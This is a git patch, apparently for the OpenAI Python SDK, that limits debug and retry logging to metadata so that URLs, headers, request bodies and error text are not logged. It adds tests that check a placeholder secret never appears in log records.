+ azure_endpoint=_ENDPOINT,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handle)),
+ ) as client:
+ with pytest.raises(ValueError, match="dot-segment"):
+ await client.chat.completions.create(model=model, messages=[])
From 600aa8daade4c9df87deb76f6b8442ee828a7cbc Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 20:56:02 +0000
Subject: [PATCH 042/341] fix: keep Python SDK diagnostics metadata-only
(#3685)
Troubleshooting logs should help identify request failures without
retaining the data applications send or receive. This change keeps
request, retry, status, and WebSocket size information while limiting
SDK diagnostics to metadata. Request delivery, response parsing, and
error handling are unchanged.
The SDK logging setting now controls SDK logs without changing
application-configured HTTP transport logging.
---
src/openai/_base_client.py | 57 +--
src/openai/_legacy_response.py | 2 +-
src/openai/_response.py | 2 +-
src/openai/_utils/_logs.py | 14 +-
.../resources/beta/realtime/realtime.py | 12 +-
.../resources/beta/responses/responses.py | 16 +-
src/openai/resources/realtime/realtime.py | 16 +-
src/openai/resources/responses/responses.py | 16 +-
tests/test_debug_logging.py | 400 ++++++++++++++++++
tests/test_utils/test_logging.py | 9 +-
10 files changed, 470 insertions(+), 74 deletions(-)
create mode 100644 tests/test_debug_logging.py
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index 7739a5d439..23813a2bb0 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -62,7 +62,7 @@
not_given,
)
from ._utils import SensitiveHeadersFilter, is_dict, is_list, asyncify, is_given, lru_cache, is_mapping
-from ._compat import PYDANTIC_V1, model_copy, model_dump
+from ._compat import PYDANTIC_V1, model_copy
from ._httpx2 import (
status_exceptions,
timeout_exceptions,
@@ -104,6 +104,7 @@
APIResponseValidationError,
)
from ._utils._json import openapi_dumps
+from ._utils._logs import get_http_method_for_logging
from ._legacy_response import LegacyAPIResponse
log: logging.Logger = logging.getLogger(__name__)
@@ -519,20 +520,12 @@ def _build_request(
*,
retries_taken: int = 0,
) -> httpx2.Request:
- if log.isEnabledFor(logging.DEBUG):
- log.debug(
- "Request options: %s",
- model_dump(
- options,
- exclude_unset=True,
- # Pydantic v1 can't dump every type we support in content, so we exclude it for now.
- exclude={
- "content",
- }
- if PYDANTIC_V1
- else {},
- ),
- )
+ # Request bodies, files, URLs, and custom options can contain private data.
+ log.debug(
+ "Building HTTP request: method=%s retries_taken=%i",
+ get_http_method_for_logging(options.method),
+ retries_taken,
+ )
kwargs: dict[str, Any] = {}
json_data = options.json_data
@@ -1079,7 +1072,7 @@ def request(
if options.follow_redirects is not None:
kwargs["follow_redirects"] = options.follow_redirects
- log.debug("Sending HTTP Request: %s %s", request.method, request.url)
+ log.debug("Sending HTTP Request: %s", get_http_method_for_logging(request.method))
response = None
try:
@@ -1089,7 +1082,7 @@ def request(
**kwargs,
)
except timeout_exceptions() as err:
- log.debug("Encountered a timeout exception", exc_info=True)
+ log.debug("Encountered a timeout exception: %s", type(err).__name__)
if remaining_retries > 0:
self._sleep_for_retry(
@@ -1106,7 +1099,7 @@ def request(
# Propagate OpenAIErrors as-is, without retrying or wrapping in APIConnectionError
raise err
except Exception as err:
- log.debug("Encountered Exception", exc_info=True)
+ log.debug("Encountered exception: %s", type(err).__name__)
if remaining_retries > 0:
self._sleep_for_retry(
@@ -1121,19 +1114,16 @@ def request(
raise APIConnectionError(request=request) from err
log.debug(
- 'HTTP Response: %s %s "%i %s" %s',
- request.method,
- request.url,
+ "HTTP Response: %s %i",
+ get_http_method_for_logging(request.method),
response.status_code,
- response.reason_phrase,
- response.headers,
)
log.debug("request_id: %s", response.headers.get("x-request-id"))
try:
response.raise_for_status()
except status_exceptions() as err: # thrown on 4xx and 5xx status code
- log.debug("Encountered an HTTP status error", exc_info=True)
+ log.debug("Encountered an HTTP status error: %i", response.status_code)
if remaining_retries > 0 and self._should_retry(err.response):
err.response.close()
@@ -1175,7 +1165,7 @@ def _sleep_for_retry(
log.debug("%i retries left", remaining_retries)
timeout = self._calculate_retry_timeout(remaining_retries, options, response.headers if response else None)
- log.info("Retrying request to %s in %f seconds", options.url, timeout)
+ log.info("Retrying request in %f seconds", timeout)
time.sleep(timeout)
@@ -1705,7 +1695,7 @@ async def request(
if options.follow_redirects is not None:
kwargs["follow_redirects"] = options.follow_redirects
- log.debug("Sending HTTP Request: %s %s", request.method, request.url)
+ log.debug("Sending HTTP Request: %s", get_http_method_for_logging(request.method))
response = None
try:
@@ -1715,7 +1705,7 @@ async def request(
**kwargs,
)
except timeout_exceptions() as err:
- log.debug("Encountered a timeout exception", exc_info=True)
+ log.debug("Encountered a timeout exception: %s", type(err).__name__)
if remaining_retries > 0:
await self._sleep_for_retry(
@@ -1732,7 +1722,7 @@ async def request(
# Propagate OpenAIErrors as-is, without retrying or wrapping in APIConnectionError
raise err
except Exception as err:
- log.debug("Encountered Exception", exc_info=True)
+ log.debug("Encountered exception: %s", type(err).__name__)
if remaining_retries > 0:
await self._sleep_for_retry(
@@ -1747,19 +1737,16 @@ async def request(
raise APIConnectionError(request=request) from err
log.debug(
- 'HTTP Response: %s %s "%i %s" %s',
- request.method,
- request.url,
+ "HTTP Response: %s %i",
+ get_http_method_for_logging(request.method),
response.status_code,
- response.reason_phrase,
- response.headers,
)
log.debug("request_id: %s", response.headers.get("x-request-id"))
try:
response.raise_for_status()
except status_exceptions() as err: # thrown on 4xx and 5xx status code
- log.debug("Encountered an HTTP status error", exc_info=True)
+ log.debug("Encountered an HTTP status error: %i", response.status_code)
if remaining_retries > 0 and self._should_retry(err.response):
await err.response.aclose()
@@ -1801,7 +1788,7 @@ async def _sleep_for_retry(
log.debug("%i retries left", remaining_retries)
timeout = self._calculate_retry_timeout(remaining_retries, options, response.headers if response else None)
- log.info("Retrying request to %s in %f seconds", options.url, timeout)
+ log.info("Retrying request in %f seconds", timeout)
await anyio.sleep(timeout)
diff --git a/src/openai/_legacy_response.py b/src/openai/_legacy_response.py
index 04a927c430..a66bca2bce 100644
--- a/src/openai/_legacy_response.py
+++ b/src/openai/_legacy_response.py
@@ -314,7 +314,7 @@ def _parse(self, *, to: type[_T] | None = None) -> R | _T:
try:
data = response.json()
except Exception as exc:
- log.debug("Could not read JSON from response data due to %s - %s", type(exc), exc)
+ log.debug("Could not read JSON from response data due to %s", type(exc).__name__)
else:
return self._client._process_response_data(
data=data,
diff --git a/src/openai/_response.py b/src/openai/_response.py
index 373b7bc9f4..acf31bdc4c 100644
--- a/src/openai/_response.py
+++ b/src/openai/_response.py
@@ -247,7 +247,7 @@ def _parse(self, *, to: type[_T] | None = None) -> R | _T:
try:
data = response.json()
except Exception as exc:
- log.debug("Could not read JSON from response data due to %s - %s", type(exc), exc)
+ log.debug("Could not read JSON from response data due to %s", type(exc).__name__)
else:
return self._client._process_response_data(
data=data,
diff --git a/src/openai/_utils/_logs.py b/src/openai/_utils/_logs.py
index a997609314..c2c92e62f4 100644
--- a/src/openai/_utils/_logs.py
+++ b/src/openai/_utils/_logs.py
@@ -5,30 +5,36 @@
from ._utils import is_dict
logger: logging.Logger = logging.getLogger("openai")
-httpx2_logger: logging.Logger = logging.getLogger("httpx2")
SENSITIVE_HEADERS = {"api-key", "authorization", "x-amz-security-token"}
def _basic_config() -> None:
- # e.g. [2023-10-05 14:12:26 - openai._base_client:818 - DEBUG] HTTP Request: POST http://127.0.0.1:4010/foo/bar "200 OK"
+ # e.g. [2023-10-05 14:12:26 - openai._base_client:818 - DEBUG] HTTP Response: POST 200
logging.basicConfig(
format="[%(asctime)s - %(name)s:%(lineno)d - %(levelname)s] %(message)s",
datefmt="%Y-%m-%d %H:%M:%S",
)
+def get_http_method_for_logging(method: str) -> str:
+ normalized = method.upper()
+ if normalized in {"GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE", "PATCH"}:
+ return normalized
+ return ""
+
+
def setup_logging() -> None:
+ # Transport loggers may include complete URLs. Leave their configuration to
+ # the application instead of enabling them with the SDK's logging switch.
env = os.environ.get("OPENAI_LOG")
if env == "debug":
_basic_config()
logger.setLevel(logging.DEBUG)
- httpx2_logger.setLevel(logging.DEBUG)
elif env == "info":
_basic_config()
logger.setLevel(logging.INFO)
- httpx2_logger.setLevel(logging.INFO)
class SensitiveHeadersFilter(logging.Filter):
diff --git a/src/openai/resources/beta/realtime/realtime.py b/src/openai/resources/beta/realtime/realtime.py
index da08e7e2d6..bf99da8abc 100644
--- a/src/openai/resources/beta/realtime/realtime.py
+++ b/src/openai/resources/beta/realtime/realtime.py
@@ -277,7 +277,7 @@ async def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = await self._connection.recv(decode=False)
- log.debug(f"Received websocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
async def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
@@ -369,9 +369,9 @@ async def __aenter__(self) -> AsyncRealtimeConnection:
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
self.__connection = AsyncRealtimeConnection(
await connect(
@@ -460,7 +460,7 @@ def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = self._connection.recv(decode=False)
- log.debug(f"Received websocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
@@ -552,9 +552,9 @@ def __enter__(self) -> RealtimeConnection:
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
self.__connection = RealtimeConnection(
connect(
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index d04d51eef8..48025c7dea 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -4175,7 +4175,7 @@ async def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = await self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
async def send(self, event: BetaResponsesClientEvent | BetaResponsesClientEventParam) -> None:
@@ -4300,7 +4300,7 @@ async def _send(data: str) -> None:
try:
await self._send_queue.flush_async(_send)
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -4524,9 +4524,9 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
@@ -4632,7 +4632,7 @@ def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
def send(self, event: BetaResponsesClientEvent | BetaResponsesClientEventParam) -> None:
@@ -4751,7 +4751,7 @@ def _flush_send_queue(self) -> None:
try:
self._send_queue.flush_sync(lambda data: self._connection.send(data))
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -4969,9 +4969,9 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 8e42e16870..929aab6096 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -340,7 +340,7 @@ async def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = await self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
async def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
@@ -464,7 +464,7 @@ async def _send(data: str) -> None:
try:
await self._send_queue.flush_async(_send)
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -704,9 +704,9 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
@@ -820,7 +820,7 @@ def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
@@ -938,7 +938,7 @@ def _flush_send_queue(self) -> None:
try:
self._send_queue.flush_sync(lambda data: self._connection.send(data))
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -1172,9 +1172,9 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index b58880d32c..3f01319a38 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -4070,7 +4070,7 @@ async def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = await self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
async def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
@@ -4195,7 +4195,7 @@ async def _send(data: str) -> None:
try:
await self._send_queue.flush_async(_send)
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -4419,9 +4419,9 @@ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> Async
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return await connect(
str(url),
@@ -4527,7 +4527,7 @@ def recv_bytes(self) -> bytes:
then you can call `.parse_event(data)`.
"""
message = self._connection.recv(decode=False)
- log.debug(f"Received WebSocket message: %s", message)
+ log.debug("Received WebSocket message: %i bytes", len(message))
return message
def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
@@ -4646,7 +4646,7 @@ def _flush_send_queue(self) -> None:
try:
self._send_queue.flush_sync(lambda data: self._connection.send(data))
except Exception:
- log.warning("Failed to flush send queue after reconnect", exc_info=True)
+ log.warning("Failed to flush send queue after reconnect")
def on(
self, event_type: str, handler: Callable[..., Any] | None = None
@@ -4864,9 +4864,9 @@ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketCo
**extra_query,
},
)
- log.debug("Connecting to %s", url)
+ log.debug("Connecting to WebSocket API")
if self.__websocket_connection_options:
- log.debug("Connection options: %s", self.__websocket_connection_options)
+ log.debug("Custom WebSocket connection options provided")
return connect(
str(url),
diff --git a/tests/test_debug_logging.py b/tests/test_debug_logging.py
new file mode 100644
index 0000000000..2f7c033c67
--- /dev/null
+++ b/tests/test_debug_logging.py
@@ -0,0 +1,400 @@
+from __future__ import annotations
+
+import io
+import json
+import logging
+import importlib
+from typing import Any, AsyncIterator
+from unittest.mock import Mock, AsyncMock, patch
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, APIStatusError, APITimeoutError, APIConnectionError
+from openai._models import FinalRequestOptions
+
+FAKE_SECRET = "fake-private-value-for-logging-tests"
+BASE_URL = "https://example.test/v1"
+
+
+def assert_safe_logs(caplog: pytest.LogCaptureFixture) -> list[str]:
+ records = [record for record in caplog.records if record.name.startswith("openai.") or record.name == "httpx2"]
+ assert records
+ # Handlers may retain the unformatted arguments or exception, not just text.
+ for record in records:
+ assert FAKE_SECRET not in record.getMessage()
+ assert FAKE_SECRET not in repr(record.args)
+ assert record.exc_info is None
+ return [record.getMessage() for record in records]
+
+
+def request_options(kind: str) -> FinalRequestOptions:
+ common: dict[str, Any] = {
+ "method": "post",
+ "url": "/logging-test?private=" + FAKE_SECRET,
+ "headers": {"Authorization": FAKE_SECRET, "X-Custom": FAKE_SECRET},
+ "params": {"private": FAKE_SECRET},
+ "idempotency_key": FAKE_SECRET,
+ }
+ if kind == "json":
+ common.update(
+ json_data={"input": FAKE_SECRET, "tools": [{"authorization": FAKE_SECRET}]},
+ extra_json={"nested": {"headers": {"X-Custom": FAKE_SECRET}}},
+ )
+ elif kind == "json-bytes":
+ common["json_data"] = FAKE_SECRET.encode()
+ elif kind == "content":
+ common["content"] = FAKE_SECRET.encode()
+ elif kind == "stream":
+ common["content"] = iter([FAKE_SECRET.encode()])
+ elif kind == "multipart":
+ common["json_data"] = {"purpose": FAKE_SECRET}
+ common["files"] = {"file": (FAKE_SECRET + ".txt", io.BytesIO(FAKE_SECRET.encode()))}
+ common["headers"]["Content-Type"] = "multipart/form-data"
+ else:
+ raise AssertionError(kind)
+ return FinalRequestOptions.construct(**common)
+
+
+def echo_request(request: httpx2.Request) -> httpx2.Response:
+ assert FAKE_SECRET.encode() in request.content
+ assert request.headers["X-Custom"] == FAKE_SECRET
+ assert request.url.params["private"] == FAKE_SECRET
+ return httpx2.Response(
+ 200,
+ json={"result": FAKE_SECRET},
+ headers={"x-private": FAKE_SECRET, "x-request-id": "req_fake_logging"},
+ )
+
+
+@pytest.mark.parametrize("kind", ["json", "json-bytes", "content", "stream", "multipart"])
+def test_sync_request_metadata(kind: str, caplog: pytest.LogCaptureFixture) -> None:
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ with OpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(echo_request)),
+ ) as client:
+ result = client.request(object, request_options(kind))
+ assert result == {"result": FAKE_SECRET}
+ messages = assert_safe_logs(caplog)
+ assert "Building HTTP request: method=POST retries_taken=0" in messages
+ assert "HTTP Response: POST 200" in messages
+ assert "request_id: req_fake_logging" in messages
+
+
+@pytest.mark.parametrize("kind", ["json", "json-bytes", "content", "stream", "multipart"])
+async def test_async_request_metadata(kind: str, caplog: pytest.LogCaptureFixture) -> None:
+ options = request_options(kind)
+ if kind == "stream":
+
+ async def content() -> AsyncIterator[bytes]:
+ yield FAKE_SECRET.encode()
+
+ options.content = content()
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ async with AsyncOpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(echo_request)),
+ ) as client:
+ result = await client.request(object, options)
+ assert result == {"result": FAKE_SECRET}
+ messages = assert_safe_logs(caplog)
+ assert "Building HTTP request: method=POST retries_taken=0" in messages
+ assert "HTTP Response: POST 200" in messages
+ assert "request_id: req_fake_logging" in messages
+
+
+def mcp_response(request: httpx2.Request) -> httpx2.Response:
+ body = json.loads(request.content)
+ assert body["input"] == FAKE_SECRET
+ assert body["tools"][0]["authorization"] == FAKE_SECRET
+ assert body["tools"][0]["headers"]["X-Custom"] == FAKE_SECRET
+ return httpx2.Response(200, json={"id": "resp_fake_logging", "object": "response", "output": []})
+
+
+def mcp_tools() -> Any:
+ return [
+ {
+ "type": "mcp",
+ "server_label": "fake",
+ "server_url": "https://example.test/mcp",
+ "authorization": FAKE_SECRET,
+ "headers": {"X-Custom": FAKE_SECRET},
+ }
+ ]
+
+
+def test_sync_public_mcp_request(caplog: pytest.LogCaptureFixture) -> None:
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ with OpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(mcp_response)),
+ ) as client:
+ result = client.responses.create(model="fake-model", input=FAKE_SECRET, tools=mcp_tools())
+ assert result.id == "resp_fake_logging"
+ assert_safe_logs(caplog)
+
+
+async def test_async_public_mcp_request(caplog: pytest.LogCaptureFixture) -> None:
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ async with AsyncOpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(mcp_response)),
+ ) as client:
+ result = await client.responses.create(model="fake-model", input=FAKE_SECRET, tools=mcp_tools())
+ assert result.id == "resp_fake_logging"
+ assert_safe_logs(caplog)
+
+
+@pytest.mark.parametrize("failure", ["status", "timeout", "connection"])
+@pytest.mark.parametrize("asynchronous", [False, True])
+async def test_failure_and_retry_metadata(failure: str, asynchronous: bool, caplog: pytest.LogCaptureFixture) -> None:
+ calls = 0
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal calls
+ calls += 1
+ if failure == "timeout":
+ raise httpx2.ReadTimeout(FAKE_SECRET, request=request)
+ if failure == "connection":
+ raise RuntimeError(FAKE_SECRET)
+ return httpx2.Response(
+ 500, json={"error": {"message": FAKE_SECRET}}, headers={"x-private": FAKE_SECRET, "retry-after-ms": "1"}
+ )
+
+ expected = {"status": APIStatusError, "timeout": APITimeoutError, "connection": APIConnectionError}[failure]
+ kwargs: dict[str, Any] = {"api_key": "fake-api-key", "base_url": BASE_URL, "max_retries": 1}
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ if asynchronous:
+ async with AsyncOpenAI(
+ **kwargs, http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler))
+ ) as async_client:
+ with pytest.raises(expected) as exc:
+ await async_client.get("/logging-test?private=" + FAKE_SECRET, cast_to=object)
+ else:
+ with OpenAI(**kwargs, http_client=httpx2.Client(transport=httpx2.MockTransport(handler))) as client:
+ with pytest.raises(expected) as exc:
+ client.get("/logging-test?private=" + FAKE_SECRET, cast_to=object)
+ assert calls == 2
+ if failure == "status":
+ assert isinstance(exc.value, APIStatusError)
+ assert exc.value.body == {"message": FAKE_SECRET}
+ assert any("Retrying request in" in message for message in assert_safe_logs(caplog))
+
+
+WEBSOCKET_MODULES = [
+ "openai.resources.realtime.realtime",
+ "openai.resources.responses.responses",
+ "openai.resources.beta.responses.responses",
+ "openai.resources.beta.realtime.realtime",
+]
+
+
+@pytest.mark.parametrize("module_name", WEBSOCKET_MODULES)
+@pytest.mark.parametrize("asynchronous", [False, True])
+@pytest.mark.parametrize("parsed", [False, True])
+async def test_websocket_receive_metadata(
+ module_name: str, asynchronous: bool, parsed: bool, caplog: pytest.LogCaptureFixture
+) -> None:
+ module = importlib.import_module(module_name)
+ name = "RealtimeConnection" if ".realtime." in module_name else "ResponsesConnection"
+ cls = getattr(module, ("Async" if asynchronous else "") + name)
+ payload = (
+ json.dumps({"type": "response.output_text.delta", "delta": FAKE_SECRET}).encode()
+ if parsed
+ else b"\x00" + FAKE_SECRET.encode()
+ )
+ websocket = Mock()
+ websocket.recv = AsyncMock(return_value=payload) if asynchronous else Mock(return_value=payload)
+ connection = cls(websocket)
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ result = connection.recv() if parsed else connection.recv_bytes()
+ if asynchronous:
+ result = await result
+ websocket.recv.assert_called_once_with(decode=False)
+ if parsed:
+ assert result.type == "response.output_text.delta"
+ assert result.delta == FAKE_SECRET
+ else:
+ assert result is payload
+ assert assert_safe_logs(caplog) == [f"Received WebSocket message: {len(payload)} bytes"]
+
+
+@pytest.mark.parametrize("module_name", WEBSOCKET_MODULES)
+@pytest.mark.parametrize("asynchronous", [False, True])
+async def test_websocket_connection_metadata(
+ module_name: str, asynchronous: bool, caplog: pytest.LogCaptureFixture
+) -> None:
+ module = importlib.import_module(module_name)
+ realtime = ".realtime." in module_name
+ name = "Realtime" if realtime else "Responses"
+ cls = getattr(module, ("Async" if asynchronous else "") + name)
+ websocket = Mock()
+ websocket.send = AsyncMock() if asynchronous else Mock()
+ websocket.close = AsyncMock() if asynchronous else Mock()
+ connect = AsyncMock(return_value=websocket) if asynchronous else Mock(return_value=websocket)
+ kwargs: dict[str, Any] = {
+ "extra_query": {"private": FAKE_SECRET},
+ "extra_headers": {"X-Custom": FAKE_SECRET},
+ "websocket_connection_options": {"origin": FAKE_SECRET},
+ }
+ if realtime:
+ kwargs["model"] = "fake-model"
+ with (
+ caplog.at_level(logging.DEBUG, logger="openai"),
+ patch("websockets." + ("asyncio" if asynchronous else "sync") + ".client.connect", connect),
+ ):
+ if asynchronous:
+ async with AsyncOpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(echo_request)),
+ ) as async_client:
+ async with cls(async_client).connect(**kwargs):
+ pass
+ else:
+ with OpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(echo_request)),
+ ) as client:
+ with cls(client).connect(**kwargs):
+ pass
+ assert FAKE_SECRET in connect.call_args.args[0]
+ assert connect.call_args.kwargs["additional_headers"]["X-Custom"] == FAKE_SECRET
+ assert connect.call_args.kwargs["origin"] == FAKE_SECRET
+ assert "Connecting to WebSocket API" in assert_safe_logs(caplog)
+
+
+@pytest.mark.parametrize("legacy", [False, True])
+@pytest.mark.parametrize("asynchronous", [False, True])
+async def test_response_parser_metadata(legacy: bool, asynchronous: bool, caplog: pytest.LogCaptureFixture) -> None:
+ from openai._models import BaseModel
+ from openai._response import APIResponse, AsyncAPIResponse
+ from openai._legacy_response import LegacyAPIResponse
+
+ raw = httpx2.Response(200, text=FAKE_SECRET)
+ raw.json = Mock(side_effect=ValueError(FAKE_SECRET))
+ kwargs: dict[str, Any] = {
+ "raw": raw,
+ "cast_to": BaseModel,
+ "stream": False,
+ "stream_cls": None,
+ "options": FinalRequestOptions.construct(method="get", url="/logging-test"),
+ }
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ if asynchronous:
+ async with AsyncOpenAI(
+ api_key="fake-api-key", http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(echo_request))
+ ) as async_client:
+ if legacy:
+ result = LegacyAPIResponse[Any](client=async_client, **kwargs).parse()
+ else:
+ result = await AsyncAPIResponse[Any](client=async_client, **kwargs).parse()
+ else:
+ with OpenAI(
+ api_key="fake-api-key", http_client=httpx2.Client(transport=httpx2.MockTransport(echo_request))
+ ) as client:
+ if legacy:
+ result = LegacyAPIResponse[Any](client=client, **kwargs).parse()
+ else:
+ result = APIResponse[Any](client=client, **kwargs).parse()
+ assert result == FAKE_SECRET
+ assert assert_safe_logs(caplog) == ["Could not read JSON from response data due to ValueError"]
+
+
+@pytest.mark.parametrize("module_name", WEBSOCKET_MODULES[:3])
+@pytest.mark.parametrize("asynchronous", [False, True])
+async def test_websocket_queue_failure_metadata(
+ module_name: str, asynchronous: bool, caplog: pytest.LogCaptureFixture
+) -> None:
+ module = importlib.import_module(module_name)
+ name = "RealtimeConnection" if ".realtime." in module_name else "ResponsesConnection"
+ cls = getattr(module, ("Async" if asynchronous else "") + name)
+ websocket = Mock()
+ websocket.send = (
+ AsyncMock(side_effect=RuntimeError(FAKE_SECRET))
+ if asynchronous
+ else Mock(side_effect=RuntimeError(FAKE_SECRET))
+ )
+ connection = cls(websocket)
+ connection._send_queue.enqueue(FAKE_SECRET)
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ if asynchronous:
+ await connection._flush_send_queue()
+ else:
+ connection._flush_send_queue()
+ websocket.send.assert_called_once_with(FAKE_SECRET)
+ assert assert_safe_logs(caplog) == ["Failed to flush send queue after reconnect"]
+
+
+@pytest.mark.parametrize("asynchronous", [False, True])
+@pytest.mark.parametrize("method", ["post", FAKE_SECRET])
+async def test_custom_method_metadata(method: str, asynchronous: bool, caplog: pytest.LogCaptureFixture) -> None:
+ received: list[str] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ received.append(request.method)
+ return httpx2.Response(200, json={"ok": True})
+
+ options = FinalRequestOptions.construct(method=method, url="/logging-test")
+ with caplog.at_level(logging.DEBUG, logger="openai"):
+ if asynchronous:
+ async with AsyncOpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)),
+ ) as async_client:
+ assert await async_client.request(object, options) == {"ok": True}
+ else:
+ with OpenAI(
+ api_key="fake-api-key",
+ base_url=BASE_URL,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler)),
+ ) as client:
+ assert client.request(object, options) == {"ok": True}
+ assert received == [method.upper()]
+ expected = "POST" if method == "post" else ""
+ messages = assert_safe_logs(caplog)
+ assert f"Building HTTP request: method={expected} retries_taken=0" in messages
+ assert f"Sending HTTP Request: {expected}" in messages
